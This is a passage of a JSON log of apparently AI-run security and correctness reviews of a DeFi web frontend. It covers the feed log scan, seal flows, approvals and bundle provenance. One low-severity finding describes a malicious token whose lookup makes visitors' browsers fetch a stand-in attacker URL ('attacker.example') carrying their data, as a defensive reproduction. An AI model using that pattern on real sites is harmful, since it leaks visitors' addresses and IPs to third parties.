block 42500 is now older than head-10000 and the node refuses it forever. Live equivalent in a few weeks: open the site, come back 30 hours later, and any note posted in the first ~3 hours after your previous visit never appears in that browser unless you press 'Load more history' four times within the same sitting.","severity":"low","snippet":"    ...missingRanges(saved.ranges, start, historyEnd),","title":"The forward history sweep spends its four chunks on known-unservable old blocks, so a returning visitor's servable gap next to the tail is never read before the node stops serving it"},{"citation":"resolved","description":"Merged from the site_content_check specialist and confirmed. The post form fills NoteParams.x with the MARG address for every thesis. The hook does not constrain x for a thesis (src/MarginaliaHook.sol:410-414 only checks the text length and the parent; _checkCallVenue runs for calls only), so this is the site's own choice, and NotePosted then carries indexed x = MARG for every thesis. The Feed filter (web/src/pages/Feed.tsx:76) matches entries by n.x, so typing MARG or the MARG address lists every thesis beside the genuine MARG calls, while a thesis written about some other token is not reachable through the token filter the brief asks for in item (1). The entry itself is labelled 'Thesis', so nothing is misrepresented; the defect is only in the filter. Two possible fixes that keep the agreed design: let the thesis author name the token the thesis is about (any address; the hook accepts it), or exclude theses from the token match unless Kind = theses. Note for the first option: a counter to a thesis must keep the parent's x (src/MarginaliaHook.sol:516, t.x != p.x reverts), so the counter form should copy x from the parent rather than letting the author choose.","line":63,"path":"web/src/pages/Post.tsx","reproduction":"Mock or live: post one thesis through #/post (Kind: Thesis, any text) and one call about MARG. Open #/ with Kind = all and type MARG in the Token filter. Expected: only the entries about MARG. Actual: the thesis is listed too, because Post.tsx:63 set its x to contracts.marg at post time; with Kind = all and Token = any other address, a thesis written about that token never appears, since its x is MARG.","severity":"low","snippet":"          x: contracts.marg,","title":"Every thesis is posted with x = MARG, so the token filter 'MARG' returns all theses and a thesis about another token cannot be found by that token"},{"citation":"resolved","description":"Settlement of my earlier medium finding (id 983d7aaf...). The author disputed it as not actionable, and they are right: MarginaliaHook.seal (src/MarginaliaHook.sol:812-831) calls _fund(STAMP), which does IERC20(imd).safeTransferFrom(msg.sender, address(this), STAMP) (line 786), so a seal needs an allowance of exactly 0.1 IMD granted to the hook, and MarginaliaRouter has no seal entry point (checkpointVenue, note, sellWithNote, tradeAndNote only). The brief requires both 'call hook.seal(x, venue, hash)' and 'approvals target ONLY the router'; against the live contract these cannot both hold, and no reviewer can waive either. This revision keeps the safe side: no hook approval and no seal transaction are built anywhere in web/src (grep for functionName: 'seal' returns nothing; the only approve is approve(contracts.router, imdIn) at Post.tsx:110), the page explains why, and the rest of item 5 works: sealHash/sealKey/sealSubject match the contract, 'Your seals' lists Sealed events with the 30 min..6 h window, the reveal posts the same params through the router without a fresh checkpoint, and the v1 sealed-text notice (item 9) is shown. I am recording this as a non-blocking scope question rather than a defect, downgraded from medium: the requester must either (a) authorise an exact-amount 0.1 IMD approval to the hook address from imd-deployment.json for the seal step only, or (b) accept that the site shows and reveals seals but does not create them. No code change should be attempted before that decision.","line":81,"path":"web/src/pages/Seal.tsx","reproduction":"Connect any mainnet wallet, open #/seal, enter X = 0xfa0efea559bde229031c2b0a219472316647759c, pick 'Launch pool', fill side/target/horizon/text. Expected by the brief: a Seal step calling hook.seal(x, venue, hash). Actual: the hash is shown and the only button is 'Seal unavailable' (disabled); the checkpoint button in step 2 is disabled. Contract cross-check: cast call 0xf0457dd0cf526686190e4f057ba19db14d34a0cc 'seal(address,(uint8,bytes32,address,bool),bytes32)' from an account with no IMD allowance to the hook reverts inside safeTransferFrom.","severity":"low","snippet":"      <button type=\"button\" disabled aria-describedby=\"seal-unavailable\">Seal unavailable</button>","title":"Scope decision still open: new sealing (brief item 5) remains unavailable on the site because hook.seal pulls its 0.1 IMD stamp itself and the review rule allows approvals only to the router"},{"citation":"resolved","description":"Settled against the code at be207a0 on 2026-10-12 (head 26173640, noteCount still 0). Prior findings: the low returning-visitor hole (4787d5c9...) is FIXED for the reported case: web/src/notes.ts now keeps a persisted historyCursor, scans the recent tail first (at most four 2,000-block chunks) and then up to four more chunks of every range not yet covered, so the 9,000-block-absence scenario recovers note 2; the residual ordering weakness is reported separately as low. The seal scope question (983d7aaf...) is settled as a requester decision, see the low entry. The info record (6335b155...) needed no change. Specialist findings: the seal item is merged into the scope entry; the thesis x = MARG item is confirmed and kept as low; the six info items agree with what I rechecked below. RE-VERIFIED: cd web && npm ci --ignore-scripts && tsc --noEmit && vite build in an isolated copy reproduces dist/assets/index-kf6RRY_t.js (sha256 38bb1095...), index-jD8G55vG.css, ccip-CCWe3kRO.js and dist/index.html byte-for-byte; node scripts/check.mjs passes ('manifest check OK: 2 contracts, 9 assets', ABI keccaks equal the abiHash values, only the ipfs.io/arweave.net strings inside viem's unused ENS helper are noted); the author's 7 history and 9 revision unit scenarios pass here; the only hard-coded addresses in web/src are the canonical Uniswap v3 factory 0x1F98431c8aD98523631AE4a59f267346ea31F984, v2 factory 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f and WETH 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 plus the zero address; hook, MARG, IMD and RPCs come from dist/imd-deployment.json and equal deployment.json/network.json; router, judge, treasury and pool key are read from the hook at runtime, and live hook.router() = 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263, hook.judge() = 0xa9e1891d76553195B4Cbcd0F8Db290C8C0FA28B9; the only approve built is approve(contracts.router, imdIn) for exactly stamp + MARG_BUY + bond with the amount shown; write calls are router.checkpointVenue/note, hook.observe/settle/settleThesis/claimDeposit/claimRefund/sweep via simulateContract with the repository ABIs; the only URLs in web/src are the two canonical footer links; ccipRead stays false; no analytics, eval or remote script; the disclaimer line and the 'not a perp DEX, not a prediction market, nothing pays for being right' copy remain. The publicnode archive limit was re-measured: 2,000-block ranges 8,000 and 10,000 blocks behind head return [], 11,000 and 20,000 behind return -32602. Not performed: a rendered-browser session and any broadcast transaction.","line":67,"path":"web/src/chain.ts","reproduction":"cp -r web /tmp/rv/web && cd /tmp/rv/web && npm ci --ignore-scripts && npx tsc -p tsconfig.json --noEmit && npx vite build --outDir /tmp/rv/out && sha256sum /tmp/rv/out/assets/* dist/assets/* (identical); npx esbuild tests/history-unit.ts --bundle --platform=node --format=esm --outfile=/tmp/h.mjs && node /tmp/h.mjs -> '7 history scenarios passed'; node scripts/check.mjs ../.imd/reads/deployment.json ../.imd/reads/network.json -> 'manifest check OK: 2 contracts, 9 assets'; cast call --rpc-url https://ethereum-rpc.publicnode.com 0xf0457dd0cf526686190e4f057ba19db14d34a0cc 'router()(address)' -> 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263.","severity":"info","snippet":"    ccipRead: false,","title":"Re-verification record: the returning-visitor fix holds for its stated reproduction, the bundle rebuilds byte-for-byte, and addresses, approvals, ABIs and copy are unchanged; nothing here must refuse "}],"hash":"ef272e22316ccfff0311274e810ea8824f6bc93fbfc90bc8907065c2efd862b8","nodeId":"91a4104a-5f20-49d0-833c-91b1f6e4adb6","outcome":"completed","summary":"The findings file is valid and the working tree is clean apart from it. Review complete.\n\n**Outcome: nothing blocks hosting.** The revision fixes the returning-visitor hole for the case I reported, the bundle rebuilds byte-for-byte from the committed source, and every address, approval, ABI binding and copy rule rechecked clean. Findings are in `.imd-findings.json`, ranked: three low, one info.\n\n**Settlement of my earlier findings**\n\n- **Returning-visitor hole (low): fixed as reported.** The new persisted history cursor requests the gap between the old cursor and the tail. The author's 9,000-block-absence scenario and the other 15 unit scenarios pass here.\n- **Seal scope (medium): author's dispute accepted, downgraded to low.** The hook pulls its own 0.1 IMD stamp and the router has no seal entry point, so sealing cannot exist without an approval to the hook. The requester must choose: authorise an exact-amount hook approval for the seal step, or accept a site that shows and reveals seals but does not create them.\n- **Info record: re-verified**, including live router and judge addresses and the publicnode archive limit.\n\n**New and merged findings**\n\n- **Low, new, in the revised fix:** the history sweep walks forward from the deploy block through ranges the node has already refused, four chunks per load. A visitor away 27 to 34 hours gets four refused archive requests while the servable gap just before the tail waits at the end of the list. In my run the note in that gap was never requested across the visit and two extra loads, and once the head moved another day it fell behind the node's archive line for good. Scanning missing ranges newest-first would read the servable band on the first load.\n- **Low, merged from the specialist:** every thesis is posted with x = MARG, so filtering the feed by MARG lists all theses and a thesis about another token cannot be found by token. The hook imposes no x constraint on theses, so this is the site's choice.\n\nDropped: the specialists' six info items duplicate what I rechecked and are folded into the info record. No critical or high findings, so no Foundry proofs were needed.","treeHash":null,"usage":{"cachedInputTokens":902434,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":20760,"runtime":"claude","turns":20,"wallClockMs":355989}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"cd8076510aad8b8e","findings":[{"citation":"resolved","description":"loadFeed scans six event types from DEPLOY_BLOCK (26169583, web/src/config.ts:16) to the head in 2000-block chunks and awaits every chunk in one Promise.all, so a single refused chunk rejects the whole feed. The first read RPC, https://ethereum-rpc.publicnode.com, serves eth_getLogs only for roughly the last 10,000-15,000 blocks: reproduced on 2026-10-12 at head 26173133, where a 2000-block address-filtered query 15,000 blocks behind head returned {\"code\":-32602,\"message\":\"Archive requests require a personal token...\"} while the deploy-block chunk (3,550 blocks behind head) still returned the PoolBound log. The second RPC, https://eth.drpc.org, refused the same 2000-block query with {\"code\":35,\"message\":\"ranges over 10000 blocks are not supported on free plan\"} (it counts distance from head, not range width), so viem's fallback transport has nowhere to go. The deploy block leaves the public node's window about two days after launch (~7,150 blocks/day), after which Feed, Author, Note, Seal 'Your seals' and Pools 'Your claims' all render 'Could not read the feed'. The scan is also unbounded: after 90 days a page load issues ~1,900 eth_getLogs calls. The brief prescribed this node and chunking, so the fix is a scope decision: persist a per-browser cursor (last scanned block plus notes seen) and scan only the tail, and/or tolerate a refused range per chunk instead of failing the whole feed, and/or read from a node that serves archive logs.","line":94,"path":"web/src/notes.ts","reproduction":"1. curl -s https://ethereum-rpc.publicnode.com -H 'content-type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"eth_getLogs\",\"params\":[{\"address\":\"0xf0457dd0cf526686190e4f057ba19db14d34a0cc\",\"fromBlock\":\"0x18f240d\",\"toBlock\":\"0x18f2bdc\"}]}' (blocks 26158093..26160092, 15,000 behind the 2026-10-12 head) -> error -32602 'Archive requests require a personal token'; the same call with fromBlock 0x18f4f8f toBlock 0x18f575e (deploy chunk) returns a log today. 2. curl the same deploy chunk against https://eth.drpc.org -> error code 35 'ranges over 10000 blocks are not supported on free plan'. 3. Open the site after about block 26184583 (deploy + 15,000, around 2026-10-14): expected the feed loads; actual the Feed page shows 'Could not read the feed from the public nodes: ... Archive requests require a personal token' and #/note/<id>, #/author/<addr>, #/seal and #/pools lose their lists.","severity":"high","snippet":"    chunked(DEPLOY_BLOCK, toBlock, (fromBlock, tb) => pub.getLogs({ address: hook, event, fromBlock, toBlock: tb }));","title":"Feed log scan starts at the deploy block, which the public read node stops serving ~12,000 blocks after deploy; every feed-dependent page then fails"},{"citation":"resolved","description":"readyToPost requires windowState === 'ready' (checkpoint 1-6 h old) for every call, including a reveal of a sealed note. The contract does not: MarginaliaHook._postNote (src/MarginaliaHook.sol:464-474) uses the seal's baselines and never calls router.postPrice when the author's seal of this X and venue is bound and 30 min..6 h old, and MarginaliaRouter._run only calls validateVenue, which has no window requirement. A seal itself requires a checkpoint 1-6 h old, so a checkpoint at T0 permits a seal at T0+1h with a reveal window of [T0+1.5h, T0+7h], while the site marks the checkpoint 'stale' from T0+6h. In the hour [T0+6h, T0+7h] the site shows 'The last checkpoint is older than 6 hours. Checkpoint again and wait one hour.' and greys out 'Post the call'. An author who obeys checkpoints at T0+6h+e, may post at T0+7h+e, and by then the seal is past SEAL_MAX: _postNote takes the lapsed branch, prices the note fresh, deletes the seal (line 476), emits no Revealed, and the 0.1 IMD seal stamp is gone. The same gate also blocks any reveal in [T0+6h, T0+7h] for seals made later in the checkpoint window. Fix: when revealing (prefilledFrom set, or a bound Sealed event for this account with age in [sealMin, sealMax]), skip the checkpoint requirement and show the seal's reveal window instead.","line":139,"path":"web/src/pages/Post.tsx","reproduction":"State: checkpoint of the launch venue at T0; hook.seal(x, venue, hash) by account A at T0+1h (valid); A opens #/seal at T0+6h10m and presses 'Reveal: open the post form with these parameters'. Expected: 'Post the call' is enabled (router.note succeeds on chain, the seal is still revealable until T0+7h). Actual: the Post page shows the stale-checkpoint notice, 'Post the call' is disabled, and the advised 'Checkpoint venue again' + 1 h wait ends at T0+7h10m, after which router.note posts an unsealed note at the fresh price and the seal stamp is forfeited. Cross-check: cast call router 'priceWindows(bytes32)' for venueId after 6 h shows startedAt older than POST_MAX_AGE while the seal record seals[sealKey(A,hash)].at is still within SEAL_MAX.","severity":"medium","snippet":"  const readyToPost = !!params && bondOk && imdIn !== null && !needsApproval && enoughImd && (mode === 'thesis' || windowState === 'ready') && minMargOut > 0n;","title":"Post page disables a valid seal reveal whenever the venue checkpoint is older than 6 hours; following its advice lapses the seal and loses the stamp"},{"citation":"resolved","description":"MarginaliaHook.seal (src/MarginaliaHook.sol:819-820) calls router.postPrice twice, and MarginaliaPricer.postPrice (src/MarginaliaPricer.sol:140-144) reverts PriceHistoryUnavailable when priceWindows[venue].startedAt is 0, younger than POST_MIN_SPAN (1 h) or older than POST_MAX_AGE (6 h). The Post page handles this with a 'Checkpoint the venue' step and a countdown, but the Seal page offers only Approve and Seal: it never reads priceWindows, never offers checkpointVenue, and never tells the author to wait. Verified live on 2026-10-12: router.priceWindows(0x8716b8cb...) for the launch venue is all zeros and router.postPrice(launch venue, true) reverts PriceHistoryUnavailable, so pressing Seal on the launch pool fails today. explainError (web/src/lib.ts:225-240) has no entry for PriceHistoryUnavailable, and the error is the pricer's, not in the hook ABI the page decodes with, so the author sees viem's 'reverted with the following signature: 0xc3651e6d' text rather than 'checkpoint the venue first and wait an hour'. Fix: reuse the Post page's checkpoint block (priceWindows read, Checkpoint button, countdown) on the Seal page and map PriceHistoryUnavailable / 0xc3651e6d in explainError.","line":43,"path":"web/src/pages/Seal.tsx","reproduction":"Connect a wallet holding IMD, open #/seal, enter X = MARG 0xfa0efea559bde229031c2b0a219472316647759c, pick the launch pool, fill side/target/horizon/text, approve 0.1 IMD to the hook, press Seal. Expected: a checkpoint step with the one-hour countdown, or a plain-language message that the venue needs a checkpoint 1 to 6 hours old. Actual: simulateContract rejects; on the live router cast call 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263 'postPrice((uint8,bytes32,address,bool),bool)' '(1,0x436763bf49aa9ea6db1d8d4d80ac8c7b3c36ad58fa6281a06ea39c92d69e2f20,0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7,false)' true reverts PriceHistoryUnavailable (selector 0xc3651e6d), which the page cannot explain.","severity":"medium","snippet":"    const { request } = await pub.simulateContract({ address: contracts.hook, abi: MarginaliaHookAbi, functionName: 'seal', args: [p.x, p.venue, hash!], account: acct! });","title":"Seal page has no checkpoint step: hook.seal reverts PriceHistoryUnavailable unless the venue has a 1-6 h old router checkpoint, and the page shows neither the window state nor a readable error"},{"citation":"resolved","description":"s.days is [today, today-1, today-2] (line 13) and SWEEP_AFTER is 28 days (MarginaliaHook.sweep, src/MarginaliaHook.sol:899; read live as 2419200). (d+1)*86400 + 2419200 is always in the future for a day at most two days old, so sweepableDay is always undefined and the page always renders 'No recent day pool is old enough to sweep'. Week pools (kind 1) are not offered at all. The brief's 'sweep' state on the Pools page is therefore never actionable from the site. Fix: compute the sweepable epochs (today-29 and older with a non-zero refundPool; weeks with weekClosed and a non-zero thesisPool) rather than the three most recent.","line":33,"path":"web/src/pages/Pools.tsx","reproduction":"Open #/pools on any date with a connected wallet and a non-zero refundPool for a day 29+ days old. Expected: a 'Sweep day N' button for that day (and a week button where judge.weekClosed(w) is true and thesisPool(w) > 0). Actual: always the sentence 'No recent day pool is old enough to sweep', because only today, yesterday and the day before are examined.","severity":"low","snippet":"  const sweepableDay = s ? s.days.find((d, i) => s.refunds[i] > 0n && now >= (d + 1) * 86400 + contracts.limits.sweepAfter) : undefined;","title":"Pools page Sweep button can never appear: it inspects only the last three days while sweep needs a pool 28 days old; week pools are never offered"},{"citation":"resolved","description":"createPublicClient is built without ccipRead: false. viem's call/readContract (web/node_modules/viem/_esm/actions/public/call.js:166, `if (client.ccipRead !== false && ...`) honours any contract that reverts with OffchainLookup(sender, urls, callData, callbackFunction, extraData) by fetching those URLs from the browser; the lazy chunk dist/assets/ccip-CwAPpswA.js (shipped) is that code path. The venue finder (web/src/form.tsx:55) calls symbol() on whatever token address the visitor types, so a token whose symbol() reverts with OffchainLookup causes the page to issue an HTTP request to a third-party host, contrary to the site's 'no external APIs except the chain RPC' promise and to the footer's 'there is no ... third-party script' claim. No wallet data or signature is involved and the response cannot execute code, so this is a privacy leak (visitor IP and the typed address) only. Fix: pass ccipRead: false to createPublicClient.","line":65,"path":"web/src/chain.ts","reproduction":"Deploy (or point at) an ERC-20 whose symbol() reverts with the OffchainLookup error (selector 0x556f1830, urls = ['https://attacker.example/{sender}/{data}']). Open #/post, paste its address as Token X. Expected: no network traffic beyond the configured RPC URLs. Actual: the browser loads ccip-CwAPpswA.js and issues a GET to the attacker URL (visible in the network tab) before showing the venue-finder result.","severity":"low","snippet":"  return createPublicClient({","title":"ERC-3668 offchain lookup is left enabled on the public client, so a malicious token pasted into the venue finder makes the browser fetch an attacker-chosen URL"},{"citation":"resolved","description":"The canonical explorer link rendered by Footer (web/src/ui.tsx:212-214) points at https://explorer.imd.fun/launches/1283, which returned HTTP 404 on 2026-10-12. The brief lists 'the explorer launch page' among the site's canonical links, so the shipped footer has a dead canonical link. The launch's job page https://explorer.imd.fun/jobs/9060a248-29ce-4683-b5d1-54fbc83cd49d (the job named in .imd/reads/project.md) resolves. A broken link only; no security impact.","line":29,"path":"web/src/config.ts","reproduction":"curl -s -o /dev/null -w '%{http_code}' https://explorer.imd.fun/launches/1283 -> 404. Expected: the launch's page (200).","severity":"low","snippet":"  launch: 'https://explorer.imd.fun/launches/1283',","title":"Footer and About 'launch #1283 on the explorer' link returns 404: the explorer has no /launches/<n> route"},{"citation":"resolved","description":"refundable filters the connected author's notes only by status !== Retracted and day < today; it never consults refundClaimed(id), so a note whose refund has been paid stays in the 'refunds are available for N of your notes' count and in the ledger below, forever. The Note page (web/src/pages/Note.tsx:15-17, 56-57) does read refundClaimed and hides the button, so the Pools summary disagrees with the page it sends the author to. Fix: read refundClaimed for the author's notes (or the RefundClaimed events already in range) and exclude claimed ones.","line":28,"path":"web/src/pages/Pools.tsx","reproduction":"Author A posts note 1 on day D; on day D+1 A opens #/note/1 and presses 'Claim refund' (hook.refundClaimed(1) becomes true). Open #/pools as A. Expected: 'refunds are available for 0 of your notes' and no entry. Actual: 'refunds are available for 1 of your notes' with note 1 listed; opening it shows no claim button.","severity":"low","snippet":"  const refundable = mine.filter((n) => n.status !== Status.Retracted && s && Math.floor(n.timestamp / 86400) < s.today);","title":"Pools 'Your claims' counts and lists notes whose writer refund was already claimed"},{"citation":"resolved","description":"retract() emits Settled(id, Status.Retracted, 0, scoreDelta, address(0)) (src/MarginaliaHook.sol:694), so loadFeed attaches a settlement to every retracted note. Entry then renders the settlement line for it, and describeOutcome (line 58) knows only statuses 1-4, so the ledger line becomes 'settled at price 0 · outcome status 5' under a note already tagged 'retracted'. The brief asks for plain language in the feed. Fix: skip the settlement line when settlement.status is Retracted, or add 5: 'retracted' to describeOutcome and omit the zero price.","line":46,"path":"web/src/pages/Feed.tsx","reproduction":"Author A posts a call (note 1) and calls hook.retract(1, 'changed my mind') before the horizon. Open #/ . Expected: the entry tagged 'retracted' with no settle-price line (or 'outcome retracted'). Actual: the entry's meta row shows 'settled at price 0 · outcome status 5'.","severity":"low","snippet":"        {n.settlement && <span>settled at price {fmtAmount(n.settlement.settlePrice, 18, 6)} · outcome {describeOutcome(n.settlement.status)}</span>}","title":"Feed entry for a retracted note reads 'settled at price 0 · outcome status 5'"},{"citation":"resolved","description":"MarginaliaHook.seal calls _fund(STAMP), which does IERC20(imd).safeTransferFrom(msg.sender, address(this), amount) (src/MarginaliaHook.sol:785-789), so a seal cannot work without an allowance to the hook. The page approves exactly STAMP (0.1 IMD, read live) to contracts.hook, which is the deployment-file address 0xf0457dd0cf526686190e4f057ba19db14d34a0cc, and says so in the button text. The Post page approves exactly stamp + MARG_BUY + bond to the router read from hook.router() (0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263 live). No unlimited approval, permit or signature request exists in the bundle. Recorded because the brief's wording ('approvals target ONLY the router') and the shipped behaviour differ for a documented reason; not a defect.","line":38,"path":"web/src/pages/Seal.tsx","reproduction":"Open #/seal with a connected wallet whose IMD allowance to the hook is below 0.1 IMD: the first button is 'Approve 0.1 IMD to the hook' and the wallet prompt shows approve(0xf0457dd0cf526686190e4f057ba19db14d34a0cc, 100000000000000000).","severity":"info","snippet":"    const { request } = await pub.simulateContract({ address: contracts.imd, abi: erc20Abi, functionName: 'approve', args: [contracts.hook, L.stamp], account: acct! });","title":"Seal flow approves IMD to the hook, not the router, for exactly one stamp; required by the contract and stated on the page"},{"citation":"resolved","description":"Checked on 2026-10-12 at head 26173133. Addresses: dist/imd-deployment.json hook 0xf0457dd0cf526686190e4f057ba19db14d34a0cc and MARG 0xfa0efea559bde229031c2b0a219472316647759c equal .imd/reads/deployment.json; its network block equals network.json; IMD 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7 is network.pairToken; hook.router() = 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263, hook.judge() = 0xa9e1891d76553195B4Cbcd0F8Db290C8C0FA28B9, treasury 0x3e00372cc4967D2bd006Ca882c51dAf45a9810C8, getPoolKey = (IMD, MARG, 12500, 60, hook), poolId 0x436763bf...; the router's UNIV3_FACTORY/UNIV2_FACTORY/WETH equal the canonical 0x1F98431c..., 0x5C69bEe7..., 0xC02aaA39... hard-coded in web/src/config.ts and cross-checked at runtime; the only other hard-coded addresses in the bundle are those three. Constants read live: STAMP 0.1, MARG_BUY 0.25, BOND_MIN 0.25, BOND_MAX 10, SEAL 1800..21600 s, SETTLE_WINDOW 21600 s, THESIS_GRACE 7 d, SWEEP_AFTER 28 d, noteCount 0. ABIs: canonical keccak of dist/abi/MarginaliaHook.json and Marginalia.json equal the abiHash values (ffba7e31..., 38880b8e...); every entry of the typed subsets in web/src/abi.ts (60 hook, 11 router, 8 judge) is byte-equal to an entry of the full ABI; the six event signatures parsed in web/src/notes.ts produce the same topic0 as the full ABI's events. Encodings: sealHash, sealKey, venueId and poolId in web/src/lib.ts match the contracts' abi.encode layouts. Transactions the pages build: router.checkpointVenue(p, poolKey); IMD.approve(router, stamp+margBuy+bond); router.note(p, poolKey, imdIn, minMargOut = 0.25 IMD at margPriceInImd() minus 10%, deadline now+20 min); IMD.approve(hook, STAMP); hook.seal(x, derived venue, hash); hook.observe/settle/settleThesis/claimDeposit/claimRefund(id); hook.sweep(kind, epoch); all through simulateContract with those ABIs, each approval for the exact amount shown; minMargOut is compared by the router against the MARG leg only (src/MarginaliaRouter.sol:329). Keeper gates match the hook's revert conditions (observe in [horizonEnd, horizonEnd+6h], settle after, settleThesis after the 7-day grace with no child). Bundle: cd web && npm ci && npx vite build reproduces dist/assets/index-B_ZHHBJ5.js, index-BM2WQRFO.css, ccip-CwAPpswA.js and index.html byte-for-byte from the TypeScript sources; node scripts/check.mjs passes; index.html has one relative module script, one relative stylesheet, an inline data-URI favicon and no inline or remote script; the bundle's only runtime network calls are fetch('./imd-deployment.json') and JSON-RPC to the two manifest RPC URLs (plus the ERC-3668 path noted separately); the remaining URL strings (4byte.sourcify.dev, oxlib.sh, viem.sh, react.dev, ipfs.io, arweave.net) are viem/React error-message text and unused ENS gateway defaults; no eval, new Function, WebSocket, sendBeacon or analytics. Copy: BUY/SELL appear only as the protocol's side labels; 'Nothing pays for being right', 'not a perp DEX and not a prediction market' and 'Informational and research purposes only. Not financial advice. Bonds can be lost.' are on every route; x.com/marginalia_md and both addresses in full are in the footer; the seal page carries the v1 sealed-text statement. Palette and type in web/src/styles.css match the brief (#f6f1e7/#1d1a16, #b9471f, #d9cfbd, dark #15130f/#ece5d6, Iowan Old Style/Palatino/Georgia, 17px). Not performed: rendered browser inspection; no transaction was broadcast.","line":16,"path":"dist/index.html","reproduction":"cd web && npm ci && npx vite build --outDir /tmp/rebuilt && cmp /tmp/rebuilt/assets/index-B_ZHHBJ5.js ../dist/assets/index-B_ZHHBJ5.js (identical); node scripts/check.mjs (manifest check OK: 2 contracts, 8 assets); cast call --rpc-url https://ethereum-rpc.publicnode.com 0xf0457dd0cf526686190e4f057ba19db14d34a0cc 'router()(address)' -> 0xa3579D7c59A2C0c742fC4e5BB18AF93241D1d263; 'judge()(address)' -> 0xa9e1891d76553195B4Cbcd0F8Db290C8C0FA28B9.","severity":"info","snippet":"    <script type=\"module\" crossorigin src=\"./assets/index-B_ZHHBJ5.js\"></script>","title":"Verification record: addresses, approvals, ABIs, event topics, bundle provenance and external references checked; nothing that must refuse hosting"},{"citation":"resolved","description":"helper/server.js is a Node proxy to https://api.imd.fun and helper/public plus helper/src/app.js form a page that signs x402/Permit2 payments and approves IMD to Permit2 0x000000000022D473030F116dDEE9F6B43aC78BA3. It was the contributor's launch-payment tool; nothing in dist/, web/src or the manifest references it (scripts/check.mjs lists exactly the 8 dist files). Noted so the hosted pin is taken from dist/ only.","line":12,"path":"helper/src/app.js","reproduction":"ls dist/ shows index.html, assets/, abi/, imd-deployment.json only; grep -r helper dist/ web/src returns nothing; the Permit2 approval exists only in helper/src/app.js.","severity":"info","snippet":"const PERMIT2 = '0x000000000022D473030F116dDEE9F6B43aC78BA3';","title":"Repository contains an unrelated local launch helper (helper/) that approves IMD to Permit2 and proxies api.imd.fun; it is not in dist/ and must stay out of what is hosted"}],"hash":"f811cf1d58cc50ed038199128a52cbd5c469aa04e92003b75774c169152b8c8a","nodeId":"91a4104a-5f20-49d0-833c-91b1f6e4adb6","outcome":"completed","summary":"The review is complete. No file in the tree was changed; the findings are in `.imd-findings.json` at the repository root.\n\n**Hosting verdict: nothing critical.** Every address, approval, ABI and script check passed. The hook and MARG addresses in the shipped manifest equal the deployment handoff, the router and judge read live from the hook match the brief, the Uniswap factories and WETH are canonical and cross-checked against the router at runtime, and both approvals are for exact amounts. The shipped bundle rebuilds byte-for-byte from the TypeScript sources with the pinned lockfile. The only network calls are the manifest fetch and JSON-RPC to the two public nodes. The required disclaimer is on every route.\n\n**Findings, ranked:**\n\n- **High.** The feed scans logs from the deploy block, but the public node refuses `eth_getLogs` more than about 15,000 blocks behind head, and the fallback node refuses the same ranges. Reproduced live today. About two days after launch, every page that depends on the feed will show \"Could not read the feed\". File `web/src/notes.ts`.\n- **Medium.** The Post page requires a fresh checkpoint even when revealing a sealed note. The contract does not. In the hour after the checkpoint goes stale, the site blocks a valid reveal and tells the author to wait another hour, which lapses the seal and forfeits the stamp. File `web/src/pages/Post.tsx`.\n- **Medium.** The Seal page has no checkpoint step. The live router has no window for the launch venue, so Seal reverts today with a raw selector the page cannot explain. File `web/src/pages/Seal.tsx`.\n- **Low, five items.** The Sweep button can never appear. ERC-3668 offchain lookup is left enabled, so a malicious token address can make the browser fetch a third-party URL. The explorer launch link returns 404. The Pools claims list ignores already-claimed refunds. Retracted entries read \"outcome status 5\".\n- **Info, three items.** The seal approval goes to the hook rather than the router, as the contract requires and the page states. A verification record of everything checked. An unrelated `helper/` directory that must stay out of the hosted pin.\n\nOf the nine prior specialist findings, seven reproduced and are kept with my own verification. The copy check and the verification record were merged into one info entry. I added two findings they missed: the seal-reveal gating defect and the stale Pools claims list.","treeHash":null,"usage":{"cachedInputTokens":1521941,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":36886,"runtime":"claude","turns":32,"wallClockMs":620439}}],"verification":[{"checks":[],"detail":"paths and tree verified; no suite was run for this kind of work","evaluation":"structural","profile":"none","status":"accepted","submissionHash":"08232b5ab32c67822457f0673e14f6d389eff8dfaf60624036e0633a541356b8","verifiedTreeHash":"64d1f03bc2a9eca4f43008ffb3cbf17e7ee68996","verifierVersion":"0.1.0+fb8278c5"},{"checks":[],"detail":"paths and tree verified; no suite was run for this kind of work","evaluation":"structural","profile":"none","status":"accepted","submissionHash":"2b1de66079fc84d9995cb43218ecad4a247e59e64dbda583959675bb48db0e82","verifiedTreeHash":"4e89b639bfca56af7fb00924caca10f32fdb06df","verifierVersion":"0.1.0+fb8278c5"},{"checks":[],"detail":"paths and tree verified; no suite was run for this kind of work","evaluation":"structural","profile":"none","status":"accepted","submissionHash":"d5be08bfbee71a38241723b153fb81f56735436f3a83a3a9ea135118985cd29b","verifiedTreeHash":"3c98092110f51f51546ec51bbae34852d1cb08a7","verifierVersion":"0.1.0+fb8278c5"}]}